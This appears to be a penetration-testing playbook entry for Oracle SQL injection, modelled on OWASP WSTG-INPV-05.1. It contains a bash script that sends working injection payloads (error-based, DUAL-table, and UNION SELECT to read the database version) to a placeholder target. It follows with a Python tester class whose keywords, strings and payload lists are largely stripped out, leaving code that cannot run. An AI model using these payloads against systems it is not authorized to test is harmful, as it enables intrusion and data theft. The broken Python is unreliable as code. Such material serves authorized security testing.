wstg-inpv-05-1

name	wstg-inpv-05.1
description	Testing for SQL Injection - Oracle
category	input-validation
owasp_id	WSTG-INPV-05.1
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.1

Test ID

WSTG-INPV-05.1

Test Name

Testing for SQL Injection - Oracle

High-Level Description

Oracle-specific SQL injection testing focuses on exploiting Oracle Database features, syntax, and built-in functions. Oracle's unique characteristics include PL/SQL, dual table, specific error messages, and distinct functions that can be leveraged for detection and exploitation.

---

What to Check

• Oracle-specific error messages
• Oracle system tables
• PL/SQL injection
• Oracle functions exploitation
• UTL_HTTP for out-of-band
• XML functions

---

How to Test

Step 1: Oracle Detection

#!/bin/bash
TARGET="https://target.com/product?id="

# Oracle-specific payloads
echo "[*] Testing for Oracle database..."

# Error-based detection
curl -s "${TARGET}'" | grep -iE "ORA-[0-9]{5}"

# Dual table test (Oracle-specific)
curl -s "${TARGET}1 AND 1=(SELECT 1 FROM DUAL)--"

# Oracle version
curl -s "${TARGET}' UNION SELECT NULL,banner,NULL FROM v\$version--"

# String concatenation (Oracle uses ||)
curl -s "${TARGET}1'||'test"

# Oracle comment syntax
curl -s "${TARGET}1--" | head -20

Step 2: Oracle SQLi Tester

#!/usr/bin/env python3
"""
Oracle SQL Injection Tester
"""

 requests
 re
 time

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    ORACLE_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    ORACLE_PAYLOADS = {
        : [
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            (, ),
            (, ),
            (, ),
        ],
        : [
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
    }

     ():
        
        ()

        detection_payloads = [
            ,
            ,
            ,
            ,  
        ]

         payload  detection_payloads:
            :
                response = .session.get(.url, params={param: payload})

                
                 pattern  .ORACLE_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                         

                
                   payload  response.status_code == :
                    ()
                     

             Exception  e:
                

         

     ():
        
        ()

         payload  .ORACLE_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                
                 re.search(, response.text, re.IGNORECASE):
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
        ()

        
         i  (, ):
            null_list = .join([] * i)
            payload = 

            :
                response = .session.get(.url, params={param: payload})

                
                 response.status_code == :
                     pattern  .ORACLE_ERRORS:
                          re.search(pattern, response.text):
                            ()

                            
                            data_payload = 
                            data_response = .session.get(.url, params={param: data_payload})

                            .findings.append({
                                : ,
                                : i,
                                : 
                            })
                             

             Exception  e:
                

         

     ():
        
        ()

        
        start = time.time()
        .session.get(.url, params={param: }, timeout=)
        baseline = time.time() - start

         payload  .ORACLE_PAYLOADS[]:
            :
                start = time.time()
                .session.get(.url, params={param: payload}, timeout=)
                response_time = time.time() - start

                 response_time > baseline + :
                    ()
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : response_time,
                        : 
                    })
                     

             requests.exceptions.Timeout:
                ()
                .findings.append({
                    : ,
                    : payload,
                    : 
                })
                 
             Exception  e:
                

         

     ():
        
         .detect_oracle(param):
            .test_error_based(param)
            .test_union_based(param)
            .test_time_based(param)

        .generate_report()

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()


tester = OracleSQLiTester()
tester.run_tests(param=)